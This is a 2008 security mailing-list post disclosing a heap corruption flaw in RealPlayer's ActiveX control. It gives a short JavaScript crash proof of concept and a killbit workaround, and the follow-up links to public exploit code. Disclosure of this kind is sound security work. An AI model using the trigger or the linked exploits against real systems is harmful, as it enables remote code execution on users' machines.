Re: Real Networks RealPlayer ActiveX Control Heap Corruption

["Elazar Broad" <elazar () hushmail com>]

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Now that this is patched...

http://milw0rm.com/exploits/5332
http://metasploit.com/svn/framework3/trunk/modules/exploits/windows/
browser/realplayer_console.rb

Elazar


On Mon, 10 Mar 2008 01:50:57 -0400 Elazar Broad
<elazar () hushmail com> wrote:
> Who:
> Real Networks
> http://www.real.com
>
> What:
> Real Networks Real Player is a popular media player.
>
> How:
> Real Player utilizes an ActiveX control to play content within the
> users browser.
>
> rmoc3260.dll version 6.0.10.45
> {2F542A2E-EDC9-4BF7-8CB1-87C9919F7F93}
> {CFCDAA03-8BE4-11CF-B84B-0020AFBBCCFA}
>
> It is possible to modify heap blocks after they are freed and
> overwrite certain registers, possibly allowing code execution.
> Like
> so:
>
> ------------
> var buf = '';
> while (buf.length < 1005) buf = buf + 'A';
>
> m = obj.Console;
> obj.Console = buf;
> obj.Console = m
>
> //repeat
> m = obj.Console;
> obj.Console = buf;
> obj.Console = m --> Should crash here
> -------------
>
> Workaround:
> Set the killbit for this control. See
> http://support.microsoft.com/kb/240797
>
> Fix:
> No official fix known
>
> Exploit:
> Working on it
>
> Elazar
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